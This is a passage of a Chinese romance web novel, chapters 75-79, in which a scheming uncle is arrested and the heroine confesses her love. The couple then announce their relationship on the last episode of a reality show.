便衣一字一顿地宣告:“除了洗钱,你还涉嫌参与海外特大非法跨境融资,利用旗下海外业务为掩护,为其提供资金通道并牟取暴利,涉案金额极其巨大。” 江砚舟一边听,一边幸灾乐祸地啧啧:“哇哦,这么多罪名垒在一起,这不得判个终生监禁啊?二叔,你糊涂啊!” “不可能……这绝对不可能!”江明启像是没听见江砚舟的嘲讽,兀自喃喃自语,“我才刚干了一个月,做得那么隐蔽,怎么可能这么快就被警察找上门……” 他猛地抬起头,充血的眼睛死死钉在一直静立旁观的江知雾身上。 “是你,江知雾!” “那些海外业务,根本就是你引我入套的!对不对?!” 面对他的指控,江知雾只是微微歪了歪头,语气无辜:“二叔,你在说什么呢?你自己犯了错,怎么能怪到侄女头上呢?” 江明启被她这副模样气得浑身发抖,还想再骂,却被警察厉声打断:“够了!有什么话回局里再说!带走!” 两名便衣一左一右,将仍在不甘嘶吼的江明启从地上架起,铐上手铐,押着朝不远处的警车走去。 他的叫骂声渐渐远去,最终消失在关闭的车门后。 “恶有恶报!在监狱里呆着吧你!” 江砚舟快意地朝他的背影啐了一口,这才收回视线,转头看向江知雾,“姐……” 刚起了个头,江知雾就知道他想问什么。 她坦然地承认:“是我。” 江知雾本以为弟弟会继续追问细节,或者要发表一番“姐你太厉害了”或者“这也太刺激了”之类的感言。 结果等了几秒,却看到江砚舟板起了那张帅脸,语气严肃地像个老妈子:“就算是为了亲手送江明启进局子,你也不该不吃早饭!” 说着,他把手里那个凉了大半、造型更加惨不忍睹的手抓饼往她面前一递。 江知雾先是愣了一下,随即忍不住弯起嘴角。 她伸手接过那个卖相糟糕的手抓饼,另一只手自然地抬起来,用力呼噜了一下江砚舟精心打理过的头发,将他柔软的发丝揉得一团乱。 “知道了,”她的声音里带着轻松的笑意,“这就吃。”—— 作者有话说:抱歉来晚了,才发现存稿忘记设置时间了[求求你了][求求你了]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 75-79 第76章 江明启被捕的消息迅速扩散。 作为其直系亲属和潜在关联人,黄淑兰、黄芷禾以及举报人江汀,均被依法传唤协助调查。 警局走廊里,气氛凝重。 江汀在走廊里被一名警务人员带着,恰好与戴着手铐、被两名警察押送的江明启迎面相遇。 江明启一眼看到这个“背叛”了自己的儿子,原本有些颓唐的神色瞬间被暴怒取代:“江汀!你这个狼心狗肺的畜牲!你敢阴我?!再怎么说我也是你老子!” 咆哮声在安静的走廊里回荡,引得旁人侧目。 江汀的脚步微微一顿,侧头看向那个状若疯癫的生父。 他脸上没有愤怒,只是唇角极淡地向上弯了一下,勾勒出一抹云淡风轻、近乎解脱的浅笑。 “活该。” 他收回目光,平静地继续向前走去,将身后声嘶力竭的咒骂远远抛开。 几天后,季宁深动用了些关系,安排了一间监控室,让江知雾和江砚舟能够实时看到对江明启的审讯情况。 面对警方的轮番审问,江明启最初还强作镇定,试图狡辩。 但在警方抛出的一项项铁证面前,他逐渐哑口无言。 只这么短短几天,江明启就以肉眼可见的速度消沉下去,变得邋遢而憔悴。后来,他干脆采取了非暴力不合作的态度,不管警察问什么,他都紧闭双眼,抿紧嘴唇,一言不发。 “他在消极抵抗,也在等外面的消息。”季宁深站在江知雾身边,低声道,“他还在幻想能通过以前经营的关系网活动,争取减刑。需要我做点什么,让他彻底绝了这个念头吗?” 江知雾目光落在监控里那个形容枯槁的男人身上,刚想开口,手机却突然震动了一下。 她低头看了一眼,是一条来自“陈律师”的消息。 这位陈律师,是常年为江家老太太处理法律事务的负责人。 只扫了一眼屏幕上的简短内容,江知雾的脸色骤然一变,那是一种混合了震惊、了然和最终尘埃落定的复杂神情。 她抬起头,看向季宁深,原本准备说的话咽了回去,语气斩钉截铁:“不用了。他这辈子,再怎么运作,也绝对出不来了。” 季宁深敏锐地察觉到了她情绪和态度的急剧变化:“怎么?” 江知雾深吸一口气:“江明启……涉嫌谋杀我姑祖母。数罪并罚,估计要判死刑。” “姑祖母死了?!”江砚舟豁然从椅子上站起来。 江知雾看着手机屏幕,喉咙有些发紧:“陈律师传来的消息。今天早上,姑祖母在吃了黄淑兰送过去的补品之后,就突然病发,抢救无效……去世了。” “黄淑兰送的补品?”江砚舟不可置信地重复,“我们离开疗养院的时候,明明叮嘱过保镖和看护,要特别留心所有人带进去的东西,尤其是江明启他们送的!怎么还会……” 他的话戛然而止,因为一个念头电光火石般闪过脑海,让他瞬间瞪大了眼睛。 江砚舟猛地看向江知雾,只见他姐姐脸上没有任何意外的神情,只有一种洞悉一切的、沉痛的恍然。 姐弟俩突然就明白了,江老太太之前为什么会一反常态,对江明启和黄淑兰和颜悦色,甚至允许他们频繁探望。 她是不是早就计划好了今天这出? 与此同时,监控屏幕里,一名警官走进审讯室,面无表情地向江明启宣布了江老太太去世的消息,并告知他,其妻黄淑兰送去的补品中被检出有毒物质,他因此增加了涉嫌故意杀人的重大嫌疑。 原本还死气沉沉、拒不配合的江明启,脸上瞬间血色褪尽的惨白,随即癫狂地嘶吼: “胡说八道!就算我之前有过心思,但也不至于那么蠢,在这个节骨眼上动那个老太婆!这对我有什么好处?” 他急促地喘息着,眼珠慌乱地转动,似乎在极力思考这突如其来的变故。 突然,他像是想通了什么,浑身剧烈颤抖起来:“是她……是那个死老太婆!一定是她算计我!” “她知道自己本来就活不长了,所以她就要拖我下水!!好毒的心肠啊!!” 江明启的情绪彻底崩溃,嘶声力竭地咆哮:“毒妇!和江知雾那个死丫头一样阴险!一个害我终生监禁,一个想用她的命来取我的命!” 而在另一间询问室里,江汀也透过未完全关严的门缝,听到了他生父那充满恐惧的吼叫。 江明启这辈子,倚仗着江家的资源,玩弄权术,视女人为附庸或棋子,从未真正将她们放在平等的位置上。 他算计了一生,为了权势和财富,间接或直接夺走了不少人的性命。 到头来,却偏偏把命丢在了他最看不起的两个女人手里——一个是他曾经试图掌控的侄女,一个是他或许从未正视过的姑母。 这何尝不是一种因果报应? 监控屏幕的光映在江知雾沉静的侧脸上,她的目光从那个在审讯室里丑态百出、濒临崩溃的男人身上移开,望向窗外。 天空高远,湛蓝如洗。 旧的阴影正在被强行涤荡,以血与生命为代价。 “姐……”江砚舟的声音带着一丝不易察觉的沙哑,他走上前,轻轻握了握江知雾微凉的手。 他没有多说安慰的话,因为他们都明白,此刻任何言语都显得苍白。 生命的逝去令人唏嘘,但活着的人,必须承接起逝者留下的重量,继续前行。 江知雾反手轻轻回握了一下弟弟的手,示意自己无事。 她深吸一口气,再缓缓吐出,仿佛要将胸中的浊气与沉重一并排出。 “走吧,”她说,“我们去送姑祖母最后一程。” “好。”江砚舟重重地点头。 季宁深没有说话,只是默默上前一步,用姿态表明他会同行。 路上,季宁深专注地开着车,目光偶尔通过后视镜落在江知雾身上。 她只是静静地看着窗外飞速倒退的街景,脸上没什么表情,但紧抿的唇线和交握在膝上、指节微微发白的手,泄露了她内心的起伏。 到达疗养院时,气氛已然不同往日。 门口停着几辆陌生的车辆,有律师的,也有闻讯赶来的其他江家远亲。 陈律师早已等着他们,见到江知雾,立刻迎了上来:“大小姐,您来了。” “情况怎么样?”江知雾边往里走边问。 “警方已经勘察过现场,带走了剩余补品和相关物品化验。老太太的遗体暂时还在房间里,等法医程序结束后再安排。”陈律师低声汇报。 江知雾脚步未停,径直走向姑祖母生前居住的病房。 江老太太安静地躺在床上,面容出乎意料的平静,甚至还带着淡淡的笑意。 江知雾在床前静立了片刻,目光复杂地凝视着那张失去生气的面孔。 江砚舟站在她身后,看着床上的老人,眼圈微微发红,最终匆匆忙别开头。 季宁深则安静地守在了门口。 这时,一位老佣人红着眼睛捧着一个古朴的木匣走过来,递给江知雾:“大小姐,这是老太太前几天打电话让我收好的,说是……等时候到了,交给您。” 江知雾接过木匣,打开。 里面放着贵重的珠宝首饰,还有几份文件。江知雾匆匆看了几眼,发现是指定她和江砚舟为遗产执行人和主要继承人的遗嘱。 一切早已安排妥当。 江知雾捧着那个匣子,良久,“啪嗒”一声,有水痕滴落在文件上。 季宁深的眼睫跟着颤了颤。 “安排后事吧,陈律师。”江知雾很快收拾好情绪,“通知所有相关人员,明天召开家族会议。另外,以集团的名义发布讣告。” “是,大小姐。”陈律师恭敬应下。 江知雾和江砚舟最后看了一眼床上的老人,深深鞠了一躬。 接下来的几天,江知雾忙得脚不沾地。 姑祖母的后事需要操办,集团和家族内部闻风而动、各怀心思的旁支需要安抚和震慑。 灵堂设在江家老宅。江知雾穿着黑色套装,应对着络绎不绝前来吊唁、试探或是别有用心的人。 手机在口袋里震动不停,她趁着间隙拿出来看了一眼,是李乐乐、李柏、林屿川和宿姚他们发来的消息。 内容大同小异,都在询问她是否需要帮忙,安慰她节哀,用他们各自或许笨拙却真诚的方式表达着关心。 看着屏幕上那些字句,江知雾紧绷了几天的嘴角,几不可察地柔和了一瞬。 她简短地回复了“放心,我们撑得住”,然后重新投入纷繁的事务中。 夜色渐深,前来吊唁的宾客大多已散去,只有几个远亲还在偏厅低声交谈。 江砚舟被她强行赶去休息,江知雾则跪坐在蒲团上,望着姑祖母慈祥的遗照,连日来的疲惫让她一时有些恍惚。 一阵夜风从未关严的窗缝吹入,拂动了厚重的窗帘,不小心带倒了供桌边上的一支白色蜡烛。 蜡烛滚落,火苗险些舔舐到桌布。 江 知雾还未来得及动作,一道身影就箭步上前,稳稳地扶起了蜡烛,重新固定好。 季宁深看到遗照的相框边缘沾上了一点刚才碰倒时扬起的香灰,便从口袋里拿出一条干净的手帕,极其细致、轻柔地擦拭起来。 江知雾这才发现他竟然还没离开。 她静静地看着他的背影,莫名地想起了某段差点被遗忘的记忆。 那是很多年前,在她父母的灵堂上。 有些为了遗产分配不均的旁支亲戚,不顾场合地大声争吵,推搡间,竟然碰倒了江宏远夫妇的遗照。 姐弟俩又惊又怒,江知雾强撑着站出来,斥退了那些闹事的人,顺便安排佣人带弟弟去睡觉。 等人都散去,满心疲惫和悲伤的她回到灵堂,却发现自己父母的遗照不知被谁重新摆好了,端端正正,一尘不染。 然后,她感觉有人轻轻拉了拉她的衣角。 她低头,泪眼朦胧中看到有个男孩,往她手里塞了一把用漂亮糖纸包着的水果糖。 对方小声地说:“知雾姐姐,不哭。” 那时的她沉浸在巨大的悲伤和愤怒里,只觉得周遭一切都充满了恶意和算计,对这突如其来的、陌生的安慰毫无反应,甚至觉得烦躁。 她甩开了那只手,沉默地坐到了旁边的椅子上,将整个身体蜷缩起来,拒绝与外界的任何交流。 对方也没有再说话,只是默默地,在她旁边不远不近的地方坐了下来,安安静静地陪着她。 深秋的灵堂寒冷彻骨,她迷迷糊糊,半睡半醒,却能感觉到对方一直守在旁边。 直到天边泛起鱼肚白,她因极度的疲惫而沉沉睡去,再醒来时,身边已经空无一人。 江知雾当时恍惚间,甚至以为自己只是悲伤过度,产生了一场离奇的幻觉。 这么多年过去,模糊的记忆早已被深埋。 但此刻,季宁深挺拔的背影与记忆中那个模糊的男孩缓缓重叠。 季宁深细致地擦完相框,将它重新摆正,这才转过身,恰好对上江知雾恍然的目光。 季宁深微微一怔,轻声道:“知雾?” “季宁深。”江知雾问,“很多年前,在我父母的灵堂上,那个偷偷溜进来,陪我坐了一整夜的人,是不是你?” 季宁深没料到她会突然提起那么久远的事。他回答:“嗯。那天我跟着父母来祭拜,看到你很难过,就找了个借口溜回来找你了。” “你消失了一整晚,”江知雾看着他,“回去后,没被责怪吗?” 季宁深轻描淡写地说:“还好,也就挨了几下家法棍子,回去跪了半夜祠堂。” 想象着眼前这个如今沉稳持重、手段通天的男人,曾经因为偷偷陪她而挨揍关禁闭的模样,江知雾心情突然有点复杂。 她没再继续这个话题,只是轻轻拍了拍自己身旁的蒲团:“过来,坐这儿。” 季宁深什么也没问,听话地走到她身边,乖乖坐下。 他刚坐稳,身体就猛地一僵。 因为江知雾没有任何预兆地,微微侧过头,将额头轻轻抵在了他的肩膀上。 她闭着眼,浓密的长睫在眼睑下投下淡淡的阴影,连日来的殚精竭虑和强撑的坚强,似乎在这一刻找到了一个可供休息的短暂支点。 江知雾轻声说:“别动……我就靠一会儿。” 第77章 季宁深确实不敢动了。 他能清晰地感受到肩头传来的重量和温度,还有江知雾身上淡淡的冷香。只要稍稍垂眸,就能看到她浓密的发顶和卷翘的长睫。 手臂因为长时间保持一个姿势开始发酸发麻,但季宁深浑然不觉,所有感官都集中在那一小片接触的区域。 耳边,江知雾的呼吸声渐渐变得均匀绵长。 她竟然真的就这样靠着他睡着了。 季宁深微微偏头,看着她眼下淡淡的青黑色阴影,心头涌上一阵复杂的心疼。 他小心翼翼地调整了一下姿势,让她靠得更舒服些,然后便像一尊沉默的守护石像,在寂静的灵堂里,为她撑起了一方可以短暂安眠的空间。 …… 次日清晨,天刚蒙蒙亮。 江砚舟心里惦记着姐姐,一大早就爬起来,想替换她去休息。章文时不放心他一个人,也跟了过来。 江砚舟轻手轻脚地推开灵堂的门,话还没出口,就被眼前的景象给定在了原地。 只见他姐姐江知雾侧着头,安然地靠在季宁深的肩膀上。而季宁深似乎也睡着了,一只手不知何时竟轻轻揽在了江知雾的肩头,两人依偎在一起,睡颜平静。 江砚舟的眉头瞬间拧紧,一股火气直冲头顶—— 季宁深这混蛋,竟敢趁他姐姐睡着的时候占便宜?! 他下意识就要冲上去把人揪开,可视线扫过两人眼下疲惫的青黑,刚迈出去的脚又快速收回了。 江砚舟胸口剧烈起伏了几下,最终,他黑着脸,带着满腔不爽地关上了灵堂的门。 跟在后面的章文时差点撞到他背上,一脸莫名其妙:“干嘛不进去?” 江砚舟烦躁地扒了扒头发,没好气地低声道:“再等等。” 章文时:“……等什么?” 江砚舟却不解释了,只是抱臂往回走,一脸“别惹我”的表情。章文时见状,只好把疑问憋回肚子里,跟他一道回去了。 灵堂内。 季宁深睡得并不沉,门轴轻微的转动声让他率先醒了过来。 意识回笼的瞬间,他立刻察觉到自己正搂着江知雾,整个人猛地一震,瞬间清醒。!!!! 季宁深整个人都懵了,血液仿佛瞬间冲上头顶,耳朵尖不受控制地红了起来。 他触电般想收回手,又怕动作太大吵醒江知雾,一时间手和脚都不知道该往哪里放,心乱如麻。 细微动静到底还是惊动了浅眠的江知雾。 相比于季宁深的惊慌失措,江知雾的反应堪称平静。 她缓缓直起身,活动了一下有些僵硬的脖颈:“几点了?” “……天,天亮了。”季宁深结结巴巴地回答。 江知雾于是站起身:“我去洗把脸。”说完,便步履平稳地走了出去,仿佛刚才那依偎的一幕再寻常不过。 季宁深看着她离开的背影,内心更加纷乱如麻。 等江知雾简单洗漱完,用冷水拍脸驱散了最后一丝睡意回来时,看到季宁深也已经收拾完毕,正站在花坛旁,似乎在专门等她。 听到脚步声,季宁深立刻转身,脸上是显而易见的局促和歉意:“知雾,对不起!是我刚才唐突了……” 他语无伦次,试图为自己清晨那逾矩的搂抱作出解释。 江知雾静静地看着他,看着他因为紧张而微红的耳根,看着他眼中真切的懊恼和不安,忽然轻轻叹了口气,打断了他: “季宁深。” “嗯?”季宁深抬眼,忐忑地望向她。 江知雾走上前一步,距离拉近,目光清亮地直视着他:“可是我并不觉得唐突呀。” 季宁深愣住了,一时间没明白她的意思,或者说,不敢去深想这句话背后的含义。 看着他这副罕见的、带着点傻气的茫然表情,江知雾眼底掠过一丝极淡的笑意。 她不再犹豫,伸出手,轻轻捧住了他的脸。 季宁深浑身一震,瞳孔微微放大。 然后,他感觉到一个轻柔而温暖的触感,落在了他的唇上。 一触即分。 江知雾微微后退半步,看着彻底石化的男人,唇角弯起一个明媚的弧度: “季宁深,我喜欢你。” “要不要做我男朋友?” 季宁深仿佛被一道惊雷劈中,只有胸腔里的心脏在疯狂叫嚣。 “……!” 他张了张嘴,却发不出任何音节,只有急促的呼吸暴露了他内心的不平静。 江知雾看着他这副完全懵掉的样子,耐心地等待着。 她清晰地看见, 那抹红晕从耳根急速蔓延,瞬间占领了他整张清俊的脸庞。 “我……”季宁深终于找回了自己的声音,“知雾,你……你说真的?” 话一出口他就想咬掉自己的舌头,这问的是什么蠢话! 江知雾眼底的笑意更深:“我不会拿这种事开玩笑。” 季宁深凝视着她清澈而坚定的眼睛,里面没有任何犹豫或迷茫,只有一片坦荡的明澈。 是啊,她是江知雾,理智、清醒、目标明确,从不做违心之事。 她若开口,必定是深思熟虑,心意已决。 巨大的狂喜终于冲垮了最后一丝不确定,季宁深的手臂终于摆脱了僵硬,带着一种近乎笨拙的急切,猛地将她拥入怀中。 “要。”他在她耳边低语,“江知雾,我要做你男朋友。” 天知道他等这一刻,等了多久。 江知雾感受着他强劲有力的心跳,安静地靠在他怀里,伸手回抱住他精瘦的腰身。 良久,季宁深才稍稍松开了些许,低头看着她,眼神灼热,依旧带着一丝不确定的恍惚:“所以……我们现在……” “嗯,”江知雾点头,盖棺定论,“是男女朋友了。” 季宁深的心终于落到了实处,突如其来的惊喜让他嘴角控制不住地上扬。 他看着她近在咫尺的唇瓣,喉结不自觉地滚动了一下,刚才那蜻蜓点水的一吻,快得让他几乎来不及回味。 他的目光太过直白,意图显而易见。 江知雾微微挑眉:“想不想再亲一次?” 季宁深的脸更红了,却鼓起了勇气,轻轻“嗯”了一声,带着点试探,缓缓低下头。 这一次,不再是浅尝辄止。 他的吻带着初学者的青涩和小心翼翼的珍视,先是轻轻贴合,感受着那份柔软,然后才尝试着更进一步。 江知雾勾着他的下巴,主动回应了他。 这个吻逐渐加深,无声地诉说着不知不觉滋生的情愫。 就在两人气息微乱之际,身后突然传来一声惊天暴喝: “季宁深!你他妈敢非礼我姐?!” 江砚舟去而复返,本来是想看看姐姐醒了没,顺便给她带点早餐,万万没想到会撞见这么刺激的一幕。 他气得头发都快竖起来了,一个箭步冲上来,揪住了季宁深的衣领。 江知雾面色平静地制止了他:“他没非礼我。” 江砚舟怒火更盛:“我亲眼看到的!他亲你!” “是我先逮着他亲的。”江知雾解释。 江砚舟:“……啊?” 不等他消化这个惊天消息,江知雾又投下了一枚重磅炸弹:“砚舟,还没来得及跟你说,他已经是我的男朋友了。” 江砚舟:“!!!” 他张着嘴,看看一脸坦然的姐姐,一股“自家顶好白菜被猪拱了”的愤懑油然而生。 尤其这“猪”还是他多年对家季宁深! 章文时生怕这位小爷不管不顾闹起来,赶紧上前一步,想打圆场:“砚舟啊,冷静,有话好说……” 但季宁深却突然开口:“江砚舟,没想到我们当了这么多年对家,最后还是你赢了。” 这话没头没尾,成功让江砚舟狐疑地皱眉:“……你什么意思?什么我赢了?” 季宁深长叹了一口气,认命般道:“以后你就是我小舅子了。跟你姐姐在一起,我不得经过你同意,讨好你?这还不是压我一头?” 江知雾高高挑起眉毛,没说话,只是笑眯眯看着他们。 而江砚舟眨了眨眼,又眨了眨眼。 嘶—— 好像是这个道理啊! 季宁深想跟他姐好,不得看他这个弟弟的脸色? 那他岂不是能随时拿捏这厮了? 他脸上的怒意消退了些,取而代之的是一种将信将疑和蠢蠢欲动:“……你说真的?” “当然。”季宁深从善如流。 江砚舟眼珠一转,恶向胆边生:“那你现在说句‘季宁深是装逼的王八蛋,比不上江砚舟的脚趾头’!” “砚舟!”章文时差点晕过去,这要求也太损了! 季宁深却语气平稳地重复:“季宁深是装逼的王八蛋,比不上江砚舟的脚趾头。” 江砚舟惊呆了,他没想到季宁深真能把这些话说出口! 这简直颠覆了他对季宁深“高傲”、“装逼”的固有印象。 一股巨大的满足感瞬间涌上心头。 他得寸进尺:“再说句‘江砚舟天下第一帅’!” 季宁深面不改色:“江砚舟天下第一帅。” “哈哈哈哈哈!”江砚舟终于忍不住大笑起来,兴奋地掏出手机,“我要录下来发给你那些粉丝看看!” 江知雾看着自家弟弟被季宁深三言两语就哄得找不着北、兴高采烈的样子,默默地抽了抽嘴角。 她弟弟可真是个大聪明。 果然,最了解你的人,还得是你的对手。 第78章 最后一期《推开家门是你》的录制日,阳光明媚。 江知雾的车刚在录制地点外停稳,一眼就看到了等在那里的季宁深。 他半靠在门旁,头发似乎精心打理过,眉眼在晨光里显得格外清俊。 看到她下车,季宁深眼神瞬间亮了起来,快步迎了上来。 江知雾很自然地对他展露了一个清浅却真实的笑颜。 季宁深的心像是被羽毛轻轻搔过,痒痒的,软软的。他刚要开口说些什么—— “江姐姐!” “江姐姐……” “知雾姐姐~” 随着几声热切的呼唤,他身后乌泱泱冲出一大帮人,瞬间就把江知雾围在了中间。 季宁深:“……” 他看着被众人簇拥着的女朋友,那句到了嘴边的问候硬生生咽了回去。 曾经作为追求者,听到这些或热情或虔诚或喜悦的“江姐姐”,他心里就有些微妙的酸意。 如今身份转变,成了正牌男友,这酸意非但没有减少,反而像被投入了催化剂的化学反应,瞬间膨胀了好几倍。 有那么一瞬间,他突然就想通了江砚舟平时为什么总酸溜溜地耷拉着脸。 “江姐姐,你们还好吗?”李乐乐关切的声音打断了他的内心活动。 众人显然都知道了江家的事情,现下的神情都有些小心翼翼。 “江姐姐,节哀。”宿姚轻声说。 李柏也赶紧送上安慰的话语。 林屿川更是直接递上一个小盒子:“知雾姐姐,这是我妈去庙里求的平安符,说给你戴着,保平安顺遂的。” 他这一开头,其他人也纷纷献上自己准备的小礼物。 “江姐姐,这是我做的薰衣草香包,希望能帮你安神。” “江姐姐,这是念念给你买的小蛋糕……” “江姐姐,这个……” 一时间,江知雾和稍晚一步下车、正好走过来的江砚舟手里,都被塞满了各种充满心意的小礼物,两只手都拿不过来。 江砚舟看着大家真诚关切的眼神,别扭地说了声:“谢了。” 直播早已开始,弹幕看到这热闹又温馨的一幕,纷纷刷屏: 【啊啊啊好暖啊!大家都好好!】 【想到这是在拍最后一期综艺,我就有点舍不得。】 【没事嘟没事 嘟,咱们还能在《雾锁山城》剧组看到全班人马哦。】 【也是,我觉得这档亲情综艺突然升华了,所有小伙伴都是热热闹闹的一家人。】 …… 因为是最后一期综艺,节目组开始走起了温情路线。 导演没有再布置复杂的户外任务,而是让大家围坐在布置得格外温馨的室内客厅里,面前放着精心挑选并打印出来的粉丝留言纸条。 李柏听说是粉丝的祝福,迫不及待就大声念起来: “To柏哥和乐乐:看着你们从综艺里活泼可爱的兄妹,一步步走到今天,终于接到了《雾锁山城》这样的大制作,我们真的太为你们骄傲了!” 念到这里,李柏忍不住咧嘴笑起来:“谢谢,谢谢大家!我们会继续努力的!” 他话音刚落,旁边心细的李乐乐凑过去,指着纸条下方:“哥,下面好像还有一行小字。” 李柏把纸条拿近,眯起眼睛念出那行几乎要看不清的小字:“PS:李柏!!!不要再吃太多东西了!不然胖到不符合角色了!!” “哈哈哈哈!”全场爆笑。 李柏摸了摸自己确实有些圆润的肚子,哭丧着脸说:“……在减了,已经在减了。” 笑声稍缓,轮到了宿姚。 他展开纸条,轻声念道:“恭喜宿姚!虽然Zelon男团因为暨明旭的塌房经历了重创,但你和成员们挺过来了,新专辑销售量突破以往,创造了新的纪录!风雨过后终见彩虹,未来可期!” 宿姚看着纸条,眼眶微微有些发红,他站起身,非常郑重地对着镜头的方向鞠了一躬:“谢谢大家没有放弃我们。我会更努力的。” 江知雾带头鼓起了掌,弹幕也纷纷鼓励: 【摆脱毒瘤后团队反而进步了太多,未来一定会更好的!】 【宿姚宝贝不哭!你值得。】 接着,林屿川拿到了属于自己的纸条。 他笑嘻嘻地打开一看,表情瞬间变得十分精彩。 “To林屿川:本来想给你写点祝福的,但想想你穷的只剩钱了,那就请林屿川祝我事业有成赚大钱吧。” 林屿川按照粉丝的请求念完祝福语,随后充满怨念地说:“你们就不能祝福我早点摆脱单身之类的吗……” 说罢,还用希冀的目光悄咪咪看了江知雾一眼。 季宁深冷嗤:“做梦。” 轮到江砚舟的时候,导演笑着递给他一张明显厚实不少的纸条,打趣道:“砚舟,你的留言有点特别,点赞前排的几条票数实在太接近,我们干脆就都打印出来了,你自己看吧。” 江砚舟接过那张写得密密麻麻的纸条,扫了几眼: “江砚舟!给老子红!永远顶流!” “小江同学我们会一直支持你的。” 他只读了两句,就戛然而止。 江知雾察觉到他神色有异,轻声问:“怎么了?” 江砚舟抬起头,表情有点诡异:“姐,你瞅瞅这些ID……‘爱喝芋圆葡萄’‘半截诗’‘性感母蟑螂’我怎么看着都这么眼熟?” 他思索片刻,突然瞪大眼睛,“靠,这些人不都是我以前的黑粉吗?!” 这时,弹幕上某个顶着“性感母蟑螂”ID的网友,幽幽飘过来一句: 【咳咳……那什么,我黑着黑着黑出感情了你信吗?扒来扒去发现你这人除了脾气臭了点,好像还真没啥实质性的黑点,业务能力还贼拉强。】 很快,众黑粉纷纷响应: 【加一,边看综艺边骂,骂着骂着就诡异地加入了粉籍。】 【作品能打,颜能打,扒不出什么实质性的黑料,简直模范艺人!】 【我就不一样了,我是爱上了江姐姐所以爱屋及乌。】 【早知道要上电视,我就改个ID了,没想到这都能被小江同学认出来,嘤嘤嘤。】 江砚舟看着滚动的弹幕,脸上表情变幻莫测,从懵逼,到茫然,最后到得意。 能让这么多人黑转粉,说明他超有个人魅力的好吧! 在一片欢乐的氛围中,轮到了年纪最小的季念念。 她踮着脚,从导演手中接过属于自己的小纸条,请江知雾帮忙念出了纸条上的内容: “To全世界最可爱的念念宝贝:要健康快乐地长大哦,永远做大家的开心果!” 季念念听完,小脸一红,害羞地扑进身旁江知雾的怀里。 江知雾搂着她,摸了摸她的头发,然后拿起了属于自己的那张纸条。 她展开纸条,念道:“江姐姐:知道江家好像发生了很多事情,很心疼你,但看到你身边有砚舟弟弟,有这么多好朋友,我们也就放心了。愿你此后余生,皆是坦途,被温柔包围,永远快乐。” 念完后,她抬起头,对着镜头浅浅一笑:“谢谢你们,我会的。” 终于,轮到了季宁深。 导演笑着将最后一张纸条递给他,眼神里带着点看好戏的意味。 季宁深接过一看: “继续努力啊季哥!早点获得江姐姐的青睐,跟江姐姐在一起!我们看好你哦!” 季宁深捏着纸条,下意识地先看了一眼身旁的江知雾。 公开恋情毕竟是大事,他不知道知雾是否愿意在此时此地宣布。 他正斟酌着想说些“借大家吉言”之类含糊的话圆过去,却听见身边响起一道平静的声音。 江知雾看着他,眼神坦然,对镜头说:“我们其实已经在一起了。” 话音落下,整个客厅所有人都看了过来。 “?!!!” 除了早已知情的江砚舟之外,众嘉宾全都目瞪口呆。 李柏的嘴巴张成了O型,李乐乐捂住了嘴,宿姚惊讶地眨了眨眼,连小念念都懵懂地感觉到气氛不对,好奇地左看右看。 最受冲击的当属林屿川。 他好几秒后才猛地回过神,跳起来问:“什、什么时候的事?!” 江知雾:“就在前几天。” 林屿川痛心疾首,指着季宁深,语气酸得能腌黄瓜:“他到底有哪里好啊?!” 季宁深原本还在为江知雾毫不犹豫的公开而心花怒放,听到林屿川这话,顿时笑了:“哎呀,真是不巧,知雾恰好就看上我了呢。” 林屿川被他这嘚瑟的样子气得翻了个白眼,郁闷地低头看地板,不想理他。 季宁深却仿佛没看到他的嫌弃,故作惊讶地问:“屿川,你是在看我的袖扣吗?” 他优雅地抬了抬手,展示着自己衬衫袖口上那对在灯光下熠熠生辉的钻石袖扣,“你怎么知道这袖扣是知雾给我买的?” 林屿川:“……” 他猛地抬起头,愤愤地望向天花板。 季宁深顺着他的视线,也优哉游哉地抬起头:“这天花板可真美啊,说起来,我和知雾正好打算拍完综艺,就去北欧那边看看星空和极光……” 林屿川:“?” 不儿,谁问你了?! 第79章 听到江知雾和季宁深在一起这个重磅消息,难过的不止有林屿川,还有直播间庞大的观众们。 【气死我了,我的江姐姐!快把江姐姐还给我们!】 【到底是谁在祝福季宁深这狗比啊!出来决斗!(拔刀)】 【呜呜呜虽然有点酸,但感觉他们两好像也挺配的?】 【季宁深也是暗恋成真了,我……我含泪祝福!(大哭.jpg)】 林屿川追人失败,郁闷之情无以言表。 他猛地站起身,一言不发地走向角落的酒柜,抄起一瓶酒,走回来重重放在桌上。 “来来来!最后一期了!今天必须不醉不归!”他语气悲壮,给自己倒了满满一杯,仰头就灌了一大口。 宿姚刚想提醒他这酒度数不低,就发现林屿川整个人突然僵住了,眼神发直地望向前方。 “喂,你没事吧?”他皱着眉问。 林屿川缓缓转过头,目光聚焦在宿姚脸上,突然“嘿嘿嘿”地傻笑起来。 他手指戳向宿姚的胸口:“我认识你!你是我……我综艺里的结拜兄弟!对不对!” 宿姚:“……” 他有了不祥的预感,试探着问:“你不会一口就醉了吧?”这酒量也忒感人了! 林屿川根本不回答他的问题,自顾自地抓住他的胳膊,开始用力摇晃:“兄弟!我听说你跳舞可厉害了!来!跳一个!给我助助兴!” 宿姚一脸抗拒,试图挣脱:“不跳,好好的跳什么舞……” 他拒绝的话刚说出口,林屿川脸上的傻笑瞬间消失,嘴一瘪,眼圈以肉眼可见的速度红了。 下一秒—— “哇!!!”林屿川毫无征兆地扯着嗓子嚎啕大哭起来,“你不跳!你嫌弃我!哇啊啊啊啊——!” 宿姚被他哭得一个头两个大,手忙脚乱地想安抚又不知从何下手。 眼见林屿川的眼泪是收不住了,他绝望地闭了闭眼,妥协道:“……别哭了!我跳!我跳行了吧!” 话音落下,林屿川的哭声像被按了开关一样戛然而止,他抬起泪汪汪的眼睛,充满期待地看着宿姚。 宿姚无奈,只好硬着头皮,在客厅中间极其尴尬地即兴跳了一段舞蹈动作。 他跳得敷衍,动作僵硬,脸上写满了生无可恋。 可林屿川看得津津有味,拍着手傻笑:“好!跳得好!再来一个!” 宿姚一曲跳毕,刚想停下喘口气,林屿川的嘴角又开始往下撇,眼眶蓄泪,大有“你敢停我就继续哭”的架势。 宿姚吓得赶紧继续跳,内心充满了绝望。 这叫什么事儿啊! 一旁的李柏看着宿姚被迫营业的可怜样子,有点于心不忍:“那个,屿川啊,你看宿姚跳也跳了,要不让他先休息会儿……” 林屿川闻声转过头,迷蒙的醉眼锁定李柏,脸上又露出了那种熟悉的“嘿嘿嘿”傻笑。 李柏心里“咯噔”一下,暗道不妙,转身就想溜。 可惜晚了。 林屿川一把抓住他的衣角,兴奋地指着他对众人说:“快看!猴子!猴子怎么跑到我们节目里来了?!” 